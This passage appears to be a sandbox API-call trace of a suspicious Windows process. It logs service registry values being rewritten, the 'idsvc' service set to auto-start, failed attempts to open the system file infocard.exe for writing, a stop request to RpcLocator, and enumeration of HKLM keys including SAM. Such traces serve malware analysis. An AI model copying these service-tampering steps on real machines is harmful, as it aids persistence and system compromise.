0x252d368 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0238.327] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0238.327] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0238.327] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.327] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0238.328] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0238.329] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0238.329] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0238.329] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.329] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0238.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0238.330] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0238.331] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0238.331] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0238.331] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0238.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0238.331] LocalFree (hMem=0x7f03d0) returned 0x0 [0238.331] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0238.331] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0238.343] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0238.345] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0238.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0238.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0238.345] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.346] RegCloseKey (hKey=0x150) returned 0x0 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0238.346] RegCloseKey (hKey=0x148) returned 0x0 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0238.346] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0238.346] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0238.346] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.346] GetLastError () returned 0x5 [0238.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0238.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0238.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0238.346] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0238.352] NtClose (Handle=0x148) returned 0x0 [0238.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0238.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0238.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0238.542] NtClose (Handle=0x148) returned 0x0 [0238.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0238.542] NtClose (Handle=0x150) returned 0x0 [0238.542] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0238.952] NtClose (Handle=0x14c) returned 0x0 [0238.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0238.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0238.953] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0238.953] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.953] GetLastError () returned 0x5 [0238.953] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0238.954] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0238.954] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0238.954] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x803990 [0238.954] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0238.954] GetLastError () returned 0x425 [0238.954] CloseServiceHandle (hSCObject=0x803990) returned 1 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0238.955] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0238.955] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.955] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0238.955] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.955] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0238.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.956] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: 